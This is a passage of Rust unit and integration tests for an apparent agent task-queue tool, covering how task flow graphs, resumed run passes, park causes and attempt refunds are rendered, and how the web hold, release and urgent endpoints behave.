17771            ("chat", "origin")
17772        );
17773    }
17774
17775    #[test]
17776    fn flow_links_companion_chat_without_claiming_chat_filing() {
17777        let mut t = flow_task(&[]);
17778        t.chat = Some("task-a b".into());
17779        t.chat_reservation = crate::queue::ChatReservation::Established;
17780        let f = flow_for(&t, &[]);
17781        assert_eq!(f.nodes[0].kind, "chat");
17782        assert!(f.nodes[0].label.starts_with("Companion chat "));
17783        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/task-a%20b"));
17784        assert_eq!(f.edges[0].label, "linked chat");
17785        t.chat_reservation = crate::queue::ChatReservation::Pending;
17786        assert!(flow_for(&t, &[]).nodes.iter().all(|n| n.kind != "chat"));
17787    }
17788
17789    #[test]
17790    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17791        let mut p = parent_task();
17792        p.id = "a b/c".to_owned();
17793        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17794        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17795    }
17796
17797    #[test]
17798    fn flow_opens_with_the_chat_that_queued_the_task() {
17799        let mut t = flow_task(&[]);
17800        t.source = Source::Agent {
17801            run: "a b/c".to_owned(),
17802            node: crate::queue::CHAT_NODE.to_owned(),
17803        };
17804        t.issue = Some(crate::queue::IssueRef {
17805            number: 3,
17806            repo: "o/r".into(),
17807        });
17808        let view = TaskView::from(t.clone());
17809        assert!(view.source_label.contains("issue #3"));
17810        assert_eq!(view.source_link.unwrap().href, "#/chat/a%20b%2Fc");
17811        let f = flow_for(&t, &[]);
17812        assert_eq!(f.nodes[0].key, "chat");
17813        assert_eq!(f.nodes[0].kind, "chat");
17814        assert_eq!(
17815            f.nodes[0].label,
17816            format!("Chat {}", crate::queue::short("a b/c"))
17817        );
17818        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17819        assert_eq!(f.nodes[1].key, "start");
17820        assert_eq!(
17821            f.edges[0],
17822            FlowEdge {
17823                from: "chat".to_owned(),
17824                to: "start".to_owned(),
17825                label: "queued from chat".to_owned(),
17826                attempt: AttemptCost::None,
17827            }
17828        );
17829    }
17830
17831    #[test]
17832    fn flow_has_no_chat_box_for_other_sources() {
17833        for source in [
17834            Source::Human,
17835            Source::Issue {
17836                number: 3,
17837                repo: "o/r".to_owned(),
17838            },
17839            Source::Agent {
17840                run: "20260904-014455-ab12".to_owned(),
17841                node: "implement".to_owned(),
17842            },
17843        ] {
17844            let mut t = flow_task(&[]);
17845            t.source = source;
17846            let f = flow_for(&t, &[]);
17847            assert_eq!(f.nodes[0].key, "start");
17848            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17849            assert!(f.edges.iter().all(|e| e.from != "chat"));
17850        }
17851    }
17852
17853    const FA: &str = "20260902-140501-aaaa";
17854    const FB: &str = "20260902-140502-bbbb";
17855
17856    #[test]
17857    fn flow_follows_blocked_retry_merged_to_done() {
17858        let mut t = flow_task(&[FA, FB]);
17859        t.status = TaskStatus::Done;
17860        let f = flow_for(
17861            &t,
17862            &[
17863                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17864                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17865            ],
17866        );
17867        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17868        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17869        assert_eq!(f.edges.len(), 3);
17870        assert_eq!(f.edges[0].label, "claimed");
17871        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17872        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17873        assert_eq!(f.edges[2].label, "merged \u{2192} done");
17874        assert_eq!(
17875            f.nodes[2].href.as_deref(),
17876            Some("#/runs/20260902-140502-bbbb")
17877        );
17878        assert!(f.nodes[2].decided);
17879    }
17880
17881    #[test]
17882    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17883        let quota = || {
17884            flow_run(RunStatus::Stalled, |s| {
17885                s.quota.push(crate::run::QuotaLoss {
17886                    cause: crate::agent::QuotaCause::UsageLimit,
17887                    agent: String::new(),
17888                    seat: "judge-1".to_owned(),
17889                    node: "judge".to_owned(),
17890                    at: Timestamp::now(),
17891                    reset: None,
17892                })
17893            })
17894        };
17895        let mut t = flow_task(&[FA, FA]);
17896        t.status = TaskStatus::Queued;
17897        let f = flow_for(&t, &[(FA, Some(quota()))]);
17898        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17899        assert_eq!(f.nodes[1].note, Some("interrupted"));
17900        assert_eq!(
17901            f.nodes[1].status, None,
17902            "no outcome copied onto an earlier pass"
17903        );
17904        assert_eq!(
17905            f.edges[1].attempt,
17906            AttemptCost::Unknown,
17907            "a resume does not prove the earlier pass was refunded"
17908        );
17909        assert!(f.edges[1].label.contains("resume the same run"));
17910        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17911        assert_eq!(
17912            f.edges[2].label,
17913            "stalled after a resume, refund unknown \u{2192} queued"
17914        );
17915        assert!(!f.nodes[2].decided, "a stall is not a decision");
17916        assert_eq!(f.nodes[2].note, Some("no verdict"));
17917    }
17918
17919    #[test]
17920    fn flow_single_pass_quota_stall_is_refunded() {
17921        let t = flow_task(&[FA]);
17922        let f = flow_for(
17923            &t,
17924            &[(
17925                FA,
17926                Some(flow_run(RunStatus::Stalled, |s| {
17927                    s.quota.push(crate::run::QuotaLoss {
17928                        cause: crate::agent::QuotaCause::UsageLimit,
17929                        agent: String::new(),
17930                        seat: "judge-1".to_owned(),
17931                        node: "judge".to_owned(),
17932                        at: Timestamp::now(),
17933                        reset: None,
17934                    })
17935                })),
17936            )],
17937        );
17938        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17939    }
17940
17941    #[test]
17942    fn flow_parked_refunds_and_stall_without_quota_spends() {
17943        let mut t = flow_task(&[FA]);
17944        t.status = TaskStatus::Queued;
17945        let f = flow_for(
17946            &t,
17947            &[(
17948                FA,
17949                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17950            )],
17951        );
17952        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17953        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17954        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17955        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17956        assert!(!f.nodes[1].decided);
17957    }
17958
17959    #[test]
17960    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17961        let t = flow_task(&[FA, FB]);
17962        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17963        assert_eq!(f.nodes[1].note, Some("unreadable"));
17964        assert!(!f.nodes[1].readable);
17965        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17966        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17967    }
17968
17969    #[test]
17970    fn flow_names_the_branch_of_a_review_only_run() {
17971        let t = flow_task(&[FA]);
17972        let f = flow_for(
17973            &t,
17974            &[(
17975                FA,
17976                Some(flow_run(RunStatus::Merged, |s| {
17977                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17978                })),
17979            )],
17980        );
17981        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17982        assert_eq!(
17983            f.nodes[1].detail.as_deref(),
17984            Some("review-only run of branch magi/x/A")
17985        );
17986    }
17987
17988    #[test]
17989    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17990        let mut t = flow_task(&[FA]);
17991        t.status = TaskStatus::Held;
17992        let pr = crate::run::PrRecord {
17993            url: "https://example.test/pr/1".to_owned(),
17994            number: 1,
17995            state: "open".to_owned(),
17996            checks: "green".to_owned(),
17997            round: 0,
17998            rounds: 3,
17999            red_at_merge: Vec::new(),
18000        };
18001        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
18002        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
18003        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
18004        t.status = TaskStatus::Done;
18005        let f = flow_for(&t, &[(FA, Some(blocked))]);
18006        assert_eq!(f.edges[1].label, "closed by hand: task is done");
18007    }
18008
18009    #[test]
18010    fn flow_with_no_runs_goes_from_queued_to_queued() {
18011        let t = flow_task(&[]);
18012        let f = flow_for(&t, &[]);
18013        assert_eq!(f.nodes.len(), 2);
18014        assert_eq!(f.edges.len(), 1);
18015        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
18016        assert_eq!(f.edges[0].attempt, AttemptCost::None);
18017    }
18018
18019    /// A run parked mid-flight keeps a non-terminal status; the page must
18020    /// still say why it stopped and that the attempt came back.
18021    #[test]
18022    fn a_parked_non_terminal_run_is_explained_as_parked() {
18023        let mut s = RunState::new(
18024            PathBuf::from("/repo/magi"),
18025            "main".to_owned(),
18026            "0123456789abcdef".to_owned(),
18027            "Do it".to_owned(),
18028            Config::default(),
18029        );
18030        s.status = RunStatus::Implementing;
18031        s.parked = true;
18032        let task = Task::new(
18033            "t".to_owned(),
18034            "Do it".to_owned(),
18035            PathBuf::from("/repo/magi"),
18036            Source::Human,
18037        );
18038        let v = task_run_view(
18039            "20260902-140501-aaaa",
18040            Some(&s),
18041            RunSlot {
18042                n: 1,
18043                resumed: false,
18044                resumed_later: None,
18045                prior: None,
18046                last: true,
18047                ..RunSlot::default()
18048            },
18049            &task,
18050        );
18051        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
18052    }
18053
18054    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
18055        let mut s = flow_run(RunStatus::Implementing, edit);
18056        s.parked = false;
18057        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
18058        task_run_view(
18059            "20260902-140501-aaaa",
18060            Some(&s),
18061            RunSlot {
18062                n: 1,
18063                resumed: false,
18064                resumed_later: Some(2),
18065                prior: None,
18066                last: false,
18067                ..RunSlot::default()
18068            },
18069            &task,
18070        )
18071    }
18072
18073    #[test]
18074    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
18075        let v = earlier_pass_view(|_| {});
18076        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
18077        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
18078        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
18079        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
18080        assert_eq!(v.exit, RunExit::Interrupted);
18081        assert_eq!(v.attempt, AttemptCost::Unknown);
18082    }
18083
18084    #[test]
18085    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
18086        let v = earlier_pass_view(|s| {
18087            s.quota.push(crate::run::QuotaLoss {
18088                cause: crate::agent::QuotaCause::UsageLimit,
18089                agent: String::new(),
18090                seat: "judge-1".to_owned(),
18091                node: "judge".to_owned(),
18092                at: Timestamp::now(),
18093                reset: None,
18094            });
18095        });
18096        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
18097        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
18098        assert_eq!(v.attempt, AttemptCost::Unknown);
18099    }
18100
18101    #[test]
18102    fn the_current_pass_states_its_recorded_cause_and_cost() {
18103        let slot = || RunSlot {
18104            n: 1,
18105            resumed: false,
18106            resumed_later: None,
18107            prior: None,
18108            last: true,
18109            ..RunSlot::default()
18110        };
18111        let task = flow_task(&["20260902-140501-aaaa"]);
18112        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
18113        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
18114        assert_eq!(
18115            (v.exit, v.attempt),
18116            (RunExit::Parked, AttemptCost::Refunded)
18117        );
18118        let spent = flow_run(RunStatus::Blocked, |_| {});
18119        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
18120        assert_eq!(v.attempt, AttemptCost::Spent);
18121        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
18122    }
18123
18124    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
18125        crate::run::RunPass {
18126            index,
18127            started_at: Timestamp::now(),
18128            resumed: index > 0,
18129            ended_at: end.as_ref().map(|_| Timestamp::now()),
18130            end,
18131            task_entry: true,
18132        }
18133    }
18134
18135    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
18136        Some(crate::run::PassEnd::Parked { cause })
18137    }
18138
18139    fn upgrade_cause() -> crate::run::ParkCause {
18140        crate::run::ParkCause::Upgrade {
18141            from: "0.121.0".to_owned(),
18142            to: Some("0.121.1".to_owned()),
18143        }
18144    }
18145
18146    fn settled_pass(
18147        run: &str,
18148        index: usize,
18149        cost: crate::queue::PassCost,
18150    ) -> crate::queue::TaskPass {
18151        crate::queue::TaskPass {
18152            run: run.to_owned(),
18153            pass_index: index,
18154            started_at: None,
18155            cost,
18156            attempts_after: 1,
18157            settled_at: Timestamp::now(),
18158            parked: None,
18159        }
18160    }
18161
18162    const RUN_X: &str = "20261011-223708-4334";
18163
18164    #[test]
18165    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
18166        use crate::queue::PassCost;
18167        let run = flow_run(RunStatus::Implementing, |s| {
18168            s.passes = vec![
18169                recorded_pass(0, parked(upgrade_cause())),
18170                recorded_pass(1, None),
18171            ];
18172        });
18173        let mut task = flow_task(&[RUN_X, RUN_X]);
18174        task.attempts = 1;
18175        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18176        let h = task_history(&task, |_| Some(run.clone()));
18177        assert_eq!(h.len(), 2);
18178        assert_eq!(h[0].kind, "competition");
18179        assert_eq!(h[1].kind, "resume");
18180        assert_eq!(
18181            (h[0].exit, h[0].attempt),
18182            (RunExit::Parked, AttemptCost::Refunded)
18183        );
18184        assert!(
18185            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
18186            "{}",
18187            h[0].outcome
18188        );
18189        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
18190        assert!(
18191            h[0].outcome.contains("pass #2 resumed the same run"),
18192            "{}",
18193            h[0].outcome
18194        );
18195        assert!(
18196            h[0].outcome.contains("pass 1 of 2 over run"),
18197            "{}",
18198            h[0].outcome
18199        );
18200        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18201        assert_eq!(
18202            h[0].exit_label,
18203            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
18204        );
18205        let f = task_flow(&task, &h, 2, None);
18206        // Two passes of one run, one of two attempts consumed.
18207        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
18208        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
18209        assert!(
18210            f.edges[1].label.contains("upgrade 0.121.0"),
18211            "{}",
18212            f.edges[1].label
18213        );
18214        assert!(
18215            f.edges[1].label.contains("resume the same run"),
18216            "{}",
18217            f.edges[1].label
18218        );
18219        assert_eq!(f.nodes[1].note, Some("parked"));
18220    }
18221
18222    #[test]
18223    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
18224        let mut a = flow_run(RunStatus::Implementing, |s| {
18225            s.passes = vec![
18226                recorded_pass(0, parked(upgrade_cause())),
18227                recorded_pass(1, None),
18228            ];
18229        });
18230        let mut b = flow_run(RunStatus::Failed, |s| {
18231            s.passes = vec![recorded_pass(0, None)];
18232        });
18233        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
18234        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
18235        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
18236        let mut task = flow_task(&[]);
18237        task.start("a".into());
18238        task.start("b".into());
18239        task.start("a".into());
18240        assert_eq!(task.runs, ["b", "a"]);
18241        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
18242        let h = task_history(&task, |id| {
18243            Some(if id == "a" { a.clone() } else { b.clone() })
18244        });
18245        assert_eq!(
18246            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
18247            ["a", "b", "a"]
18248        );
18249        assert_eq!(h[0].attempt, AttemptCost::Refunded);
18250        assert!(h[0].outcome.contains("upgrade"));
18251        assert_eq!(h[2].kind, "resume");
18252        assert!(h[2].pass.is_some());
18253        // The old repeated-id format must show the same recorded passes.
18254        task.runs = vec!["a".into(), "b".into(), "a".into()];
18255        let old = task_history(&task, |id| {
18256            Some(if id == "a" { a.clone() } else { b.clone() })
18257        });
18258        assert_eq!(
18259            old.iter()
18260                .map(|v| (&v.id, &v.kind, v.attempt))
18261                .collect::<Vec<_>>(),
18262            h.iter()
18263                .map(|v| (&v.id, &v.kind, v.attempt))
18264                .collect::<Vec<_>>()
18265        );
18266    }
18267
18268    #[test]
18269    fn an_upgrade_whose_target_was_not_known_says_so() {
18270        let run = flow_run(RunStatus::Implementing, |s| {
18271            s.passes = vec![
18272                recorded_pass(
18273                    0,
18274                    parked(crate::run::ParkCause::Upgrade {
18275                        from: "0.121.0".to_owned(),
18276                        to: None,
18277                    }),
18278                ),
18279                recorded_pass(1, None),
18280            ];
18281        });
18282        let task = flow_task(&[RUN_X, RUN_X]);
18283        let h = task_history(&task, |_| Some(run.clone()));
18284        assert!(
18285            h[0].outcome.contains("upgrade from 0.121.0"),
18286            "{}",
18287            h[0].outcome
18288        );
18289        // No settle record: the refund is not claimed.
18290        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18291    }
18292
18293    #[test]
18294    fn each_pass_keeps_its_own_cause_across_several_resumes() {
18295        use crate::queue::PassCost;
18296        use crate::run::ParkCause;
18297        let run = flow_run(RunStatus::Implementing, |s| {
18298            s.passes = vec![
18299                recorded_pass(0, parked(upgrade_cause())),
18300                recorded_pass(
18301                    1,
18302                    parked(ParkCause::Interrupt {
18303                        reason: "task a1b2 asked to run first".to_owned(),
18304                    }),
18305                ),
18306                recorded_pass(2, parked(ParkCause::Operator)),
18307                recorded_pass(3, None),
18308            ];
18309        });
18310        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
18311        task.attempts = 1;
18312        task.passes = (0..3)
18313            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
18314            .collect();
18315        let h = task_history(&task, |_| Some(run.clone()));
18316        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
18317        assert!(
18318            h[1].outcome.contains("task a1b2 asked to run first"),
18319            "{}",
18320            h[1].outcome
18321        );
18322        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
18323        assert!(
18324            h[2].outcome.contains("operator asked the loop to park"),
18325            "{}",
18326            h[2].outcome
18327        );
18328        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
18329        let f = task_flow(&task, &h, 2, None);
18330        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
18331    }
18332
18333    #[test]
18334    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
18335        let run = flow_run(RunStatus::Implementing, |s| {
18336            s.passes = vec![
18337                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
18338                recorded_pass(1, None),
18339            ];
18340        });
18341        let task = flow_task(&[RUN_X, RUN_X]);
18342        let h = task_history(&task, |_| Some(run.clone()));
18343        assert_eq!(h[0].exit, RunExit::Interrupted);
18344        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18345        assert!(
18346            h[0].outcome.contains("without recording why"),
18347            "{}",
18348            h[0].outcome
18349        );
18350        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18351        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
18352    }
18353
18354    #[test]
18355    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
18356        use crate::queue::PassCost;
18357        // Three entries, but the run only began keeping passes at the last
18358        // two: the first is legacy and must not be given a cause.
18359        let run = flow_run(RunStatus::Implementing, |s| {
18360            s.passes = vec![
18361                recorded_pass(0, parked(upgrade_cause())),
18362                recorded_pass(1, None),
18363            ];
18364        });
18365        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
18366        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18367        let h = task_history(&task, |_| Some(run.clone()));
18368        assert!(h[0].pass.is_none());
18369        assert_eq!(h[0].exit, RunExit::Interrupted);
18370        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18371        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18372        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18373        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
18374        // A run with no passes at all is entirely unknown.
18375        let legacy = flow_run(RunStatus::Implementing, |_| {});
18376        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
18377        assert!(h.iter().all(|v| v.pass.is_none()));
18378        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18379    }
18380
18381    #[test]
18382    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
18383        use crate::queue::PassCost;
18384        // Pass 1 is a web-button resume: a pass of the run, no entry of the
18385        // task. The two entries are passes 0 and 2.
18386        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
18387        web.task_entry = false;
18388        let run = flow_run(RunStatus::Implementing, |s| {
18389            s.passes = vec![
18390                recorded_pass(0, parked(upgrade_cause())),
18391                web.clone(),
18392                recorded_pass(2, None),
18393            ];
18394        });
18395        let mut task = flow_task(&[RUN_X, RUN_X]);
18396        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18397        let h = task_history(&task, |_| Some(run.clone()));
18398        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
18399        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
18400
18401        // Legacy first entry, then a web resume that parked for an upgrade,
18402        // then the daemon's pass: the legacy entry must stay unknown.
18403        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
18404        web0.task_entry = false;
18405        let run = flow_run(RunStatus::Implementing, |s| {
18406            s.passes = vec![web0.clone(), recorded_pass(1, None)];
18407        });
18408        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
18409        assert!(h[0].pass.is_none());
18410        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18411        assert!(h[1].pass.is_some());
18412    }
18413
18414    #[tokio::test]
18415    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
18416        let dir = tempfile::tempdir().unwrap();
18417        let queue = Queue::at(dir.path().join("queue"));
18418        let ui = Arc::new(Ui::new(
18419            queue.clone(),
18420            Questions::at(dir.path().join("questions")),
18421            Talks::at(dir.path().join("talks")),
18422            dir.path().join("runs"),
18423            dir.path().to_path_buf(),
18424            dir.path().to_path_buf(),
18425        ));
18426        let mut t = Task::new(
18427            "recover".into(),
18428            "Inspect".into(),
18429            PathBuf::from("."),
18430            Source::Human,
18431        );
18432        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
18433        t.start("run-A".into());
18434        t.release_operator("choice", Some("resume-question"));
18435        t.resume_override = Some(crate::queue::OperatorResume {
18436            question_id: "resume-question".into(),
18437            at: jiff::Timestamp::now(),
18438            conductor_rehold: None,
18439            forced: true,
18440            pinned_run: Some("run-A".into()),
18441        });
18442        t.hold_machine(Some("inspection pending".into()));
18443        t.edit("recover".into(), "Reuse approved PR head".into())
18444            .unwrap();
18445        queue.put(&mut t).unwrap();
18446        let mut cli = t.clone();
18447        cli.release_operator("cli", None);
18448        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
18449        let reloaded = queue.get(&t.id).unwrap();
18450        assert_eq!(reply.task.status, TaskStatus::Queued);
18451        assert!(reloaded.resume_override.is_none());
18452        assert_eq!(reloaded.answers, t.answers);
18453        let mut web = reloaded.resumption.unwrap();
18454        let cli = cli.resumption.unwrap();
18455        assert_eq!(web.source, "web");
18456        web.source = cli.source.clone();
18457        web.at = cli.at;
18458        assert_eq!(web, cli);
18459    }
18460
18461    #[tokio::test]
18462    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
18463        let f = Fixture::start().await;
18464        let queue = f.queue();
18465        let mut task = Task::new(
18466            "spent".to_owned(),
18467            "Try again".to_owned(),
18468            PathBuf::from("/repo/magi"),
18469            Source::Human,
18470        );
18471        task.start("20260902-140502-bbbb".to_owned());
18472        task.fail("agent gave up", 9);
18473        queue.put(&mut task).expect("file the task");
18474
18475        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
18476        assert_eq!(held.status, 200);
18477        assert_eq!(held.json()["status_str"], "held");
18478
18479        let released = f
18480            .post(&format!("/api/queue/{}/release", task.id), None)
18481            .await;
18482        assert_eq!(released.status, 200);
18483        assert_eq!(released.json()["status_str"], "queued");
18484        assert_eq!(released.json()["resumption"]["source"], "web");
18485        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
18486        let mut cli = task.clone();
18487        cli.release_operator("cli", None);
18488        let web = queue.get(&task.id).unwrap().resumption.unwrap();
18489        let cli = cli.resumption.unwrap();
18490        assert_eq!(web.instruction, cli.instruction);
18491        assert_eq!(web.answers_through, cli.answers_through);
18492        assert_eq!(web.runs_through, cli.runs_through);
18493        assert_eq!(web.cleared_reason, cli.cleared_reason);
18494        assert_eq!(
18495            released.json()["attempts"],
18496            0,
18497            "release is a real second chance, not an instant re-hold"
18498        );
18499        assert_eq!(
18500            queue.get(&task.id).expect("reload").status,
18501            TaskStatus::Queued,
18502            "the change is on disk, not only in the reply"
18503        );
18504        assert!(
18505            !f.home
18506                .path()
18507                .join("queue")
18508                .join(format!("{}.lock", task.id))
18509                .exists(),
18510            "the claim the mutation took is released again"
18511        );
18512    }
18513
18514    #[tokio::test]
18515    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
18516        let f = Fixture::start().await;
18517        let queue = f.queue();
18518        let mut task = Task::new(
18519            "busy".to_owned(),
18520            "Running right now".to_owned(),
18521            PathBuf::from("/repo/magi"),
18522            Source::Human,
18523        );
18524        queue.put(&mut task).expect("file the task");
18525        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18526
18527        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
18528
18529        assert_eq!(res.status, 409);
18530        assert_eq!(
18531            queue.get(&task.id).expect("reload").status,
18532            TaskStatus::Queued,
18533            "the refused hold changed nothing"
18534        );
18535    }
18536
18537    #[tokio::test]
18538    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
18539        let f = Fixture::start().await;
18540        let queue = f.queue();
18541        let mut task = Task::new(
18542            "waiting on the migration".to_owned(),
18543            "Do the thing".to_owned(),
18544            PathBuf::from("/repo/magi"),
18545            Source::Human,
18546        );
18547        queue.put(&mut task).expect("file the task");
18548
18549        let held = f
18550            .post(
18551                &format!("/api/queue/{}/hold", task.id),
18552                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
18553            )
18554            .await;
18555        assert_eq!(held.status, 200, "{}", held.body);
18556        assert_eq!(held.json()["status_str"], "held");
18557        assert_eq!(
18558            held.json()["hold_reason"],
18559            "waiting for 20260101-000000-aaaa to land"
18560        );
18561
18562        let listed = f.get("/api/queue").await.json();
18563        assert_eq!(
18564            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
18565            "the card reads the reason off the same list route"
18566        );
18567
18568        // A hold with no body at all must keep working - most holds have no
18569        // reason to give.
18570        let mut plain = Task::new(
18571            "no reason given".to_owned(),
18572            "Do another thing".to_owned(),
18573            PathBuf::from("/repo/magi"),
18574            Source::Human,
18575        );
18576        queue.put(&mut plain).expect("file the task");
18577        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
18578        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
18579        assert!(held_plain.json()["hold_reason"].is_null());
18580
18581        let released = f
18582            .post(&format!("/api/queue/{}/release", task.id), None)
18583            .await;
18584        assert_eq!(released.status, 200);
18585        assert!(
18586            released.json()["hold_reason"].is_null(),
18587            "a release must clear the reason so the next hold does not inherit it"
18588        );
18589    }
18590
18591    #[test]
18592    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
18593        for urgent in [true, false] {
18594            let body: UrgentBody =
18595                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
18596            assert_eq!(body.urgent, urgent);
18597        }
18598        for input in [
18599            r#"{}"#,
18600            r#"{"urgent":null}"#,
18601            r#"{"urgent":"true"}"#,
18602            r#"{"urgent":1}"#,
18603            r#"{"urgent":true,"extra":false}"#,
18604        ] {
18605            assert!(
18606                serde_json::from_str::<UrgentBody>(input).is_err(),
18607                "{input}"
18608            );
18609        }
18610    }
18611
18612    #[tokio::test]
18613    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
18614        let home = TempDir::new().unwrap();
18615        let q = Queue::at(home.path().join("queue"));
18616        let ui = Arc::new(Ui::new(
18617            q.clone(),
18618            Questions::at(home.path().join("questions")),
18619            Talks::at(home.path().join("talks")),
18620            home.path().join("runs"),
18621            home.path().into(),
18622            home.path().into(),
18623        ));
18624        let mut task = Task::new(
18625            "urgent handler".into(),
18626            "keep".into(),
18627            home.path().into(),
18628            Source::Human,
18629        );
18630        for status in [TaskStatus::Queued, TaskStatus::Held] {
18631            task.status = status;
18632            q.put(&mut task).unwrap();
18633            for urgent in [true, true, false, false] {
18634                let saved = queue_urgent(
18635                    State(Arc::clone(&ui)),
18636                    Path(task.short().into()),
18637                    Ok(Json(UrgentBody { urgent })),
18638                )
18639                .await
18640                .unwrap();
